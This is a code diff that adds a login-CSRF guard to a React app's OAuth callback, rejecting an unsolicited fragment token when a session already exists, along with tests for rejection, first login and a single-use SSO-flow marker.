@@ -4,6 +4,8 @@ import { BrowserRouter } from "react-router-dom";
|
||||
import AuthCallback from "@app/routes/AuthCallback";
|
||||
import {
|
||||
POST_LOGIN_REDIRECT_STORAGE_KEY,
|
||||
SSO_FLOW_STORAGE_KEY,
|
||||
markSsoFlowStarted,
|
||||
springAuth,
|
||||
} from "@app/auth/spring/springAuthClient";
|
||||
import { expectConsole } from "@app/tests/failOnConsole";
|
||||
@@ -239,6 +241,106 @@ describe("AuthCallback", () => {
|
||||
expect(sessionStorage.getItem(POST_LOGIN_REDIRECT_STORAGE_KEY)).toBeNull();
|
||||
});
|
||||
|
||||
it("should refuse an unsolicited fragment token when a session already exists", async () => {
|
||||
expectConsole.warn(
|
||||
/\[AuthCallback\] Ignoring unsolicited callback token while a session is active/,
|
||||
);
|
||||
// No SSO flow marker: this browser never started a login.
|
||||
localStorage.setItem("stirling_jwt", "victim-token");
|
||||
window.location.hash = "#access_token=attacker-token";
|
||||
|
||||
render(
|
||||
<BrowserRouter>
|
||||
<AuthCallback />
|
||||
</BrowserRouter>,
|
||||
);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/login", {
|
||||
replace: true,
|
||||
state: {
|
||||
error:
|
||||
"Login could not be completed because it was not started from this browser. Please sign in again.",
|
||||
},
|
||||
});
|
||||
});
|
||||
// Victim session left untouched, attacker token never validated
|
||||
expect(localStorage.getItem("stirling_jwt")).toBe("victim-token");
|
||||
expect(springAuth.getSession).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("should accept a fragment token without a marker when no session exists", async () => {
|
||||
const mockToken = "first-login-token";
|
||||
window.location.hash = `#access_token=${mockToken}`;
|
||||
|
||||
vi.mocked(springAuth.getSession).mockResolvedValueOnce({
|
||||
data: {
|
||||
session: {
|
||||
user: {
|
||||
id: "123",
|
||||
email: "oauth@example.com",
|
||||
username: "oauthuser",
|
||||
role: "USER",
|
||||
},
|
||||
access_token: mockToken,
|
||||
expires_in: 3600,
|
||||
expires_at: Date.now() + 3600000,
|
||||
},
|
||||
},
|
||||
error: null,
|
||||
});
|
||||
|
||||
render(
|
||||
<BrowserRouter>
|
||||
<AuthCallback />
|
||||
</BrowserRouter>,
|
||||
);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(localStorage.getItem("stirling_jwt")).toBe(mockToken);
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/", { replace: true });
|
||||
});
|
||||
});
|
||||
|
||||
it("should accept a fragment token when the SSO flow marker is present and clear it", async () => {
|
||||
const mockToken = "reauth-token";
|
||||
markSsoFlowStarted();
|
||||
expect(sessionStorage.getItem(SSO_FLOW_STORAGE_KEY)).not.toBeNull();
|
||||
|
||||
localStorage.setItem("stirling_jwt", "previous-token");
|
||||
window.location.hash = `#access_token=${mockToken}`;
|
||||
|
||||
vi.mocked(springAuth.getSession).mockResolvedValueOnce({
|
||||
data: {
|
||||
session: {
|
||||
user: {
|
||||
id: "123",
|
||||
email: "oauth@example.com",
|
||||
username: "oauthuser",
|
||||
role: "USER",
|
||||
},
|
||||
access_token: mockToken,
|
||||
expires_in: 3600,
|
||||
expires_at: Date.now() + 3600000,
|
||||
},
|
||||
},
|
||||
error: null,
|
||||
});
|
||||
|
||||
render(
|
||||
<BrowserRouter>
|
||||
<AuthCallback />
|
||||
</BrowserRouter>,
|
||||
);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(localStorage.getItem("stirling_jwt")).toBe(mockToken);
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/", { replace: true });
|
||||
});
|
||||
// Marker is single-use
|
||||
expect(sessionStorage.getItem(SSO_FLOW_STORAGE_KEY)).toBeNull();
|
||||
});
|
||||
|
||||
it("should display loading state while processing", () => {
|
||||
window.location.hash = "#access_token=processing-token";
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useNavigate } from "react-router-dom";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import {
|
||||
consumePostLoginRedirectPath,
|
||||
consumeSsoFlowMarker,
|
||||
springAuth,
|
||||
} from "@app/auth/spring/springAuthClient";
|
||||
import { markLoginLandingPending } from "@app/utils/loginLanding";
|
||||
@@ -55,6 +56,7 @@ export default function AuthCallback() {
|
||||
try {
|
||||
const hash = window.location.hash.substring(1);
|
||||
const token = new URLSearchParams(hash).get("access_token");
|
||||
const ssoFlowStarted = consumeSsoFlowMarker();
|
||||
|
||||
if (!token) {
|
||||
console.error(
|
||||
@@ -72,6 +74,24 @@ export default function AuthCallback() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Login CSRF: a callback this browser never started must not replace an
|
||||
// existing session. First logins (no session yet) are left working.
|
||||
if (!ssoFlowStarted && localStorage.getItem("stirling_jwt")) {
|
||||
console.warn(
|
||||
`[AuthCallback] Ignoring unsolicited callback token while a session is active (${elapsed()})`,
|
||||
);
|
||||
navigate("/login", {
|
||||
replace: true,
|
||||
state: {
|
||||
error: i18n.t(
|
||||
"auth.callback.unsolicited",
|
||||
"Login could not be completed because it was not started from this browser. Please sign in again.",
|
||||
),
|
||||
},
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
localStorage.setItem("stirling_jwt", token);
|
||||
window.dispatchEvent(new CustomEvent("jwt-available"));
|
||||
|
||||
|
||||
Reference in New Issue
Block a user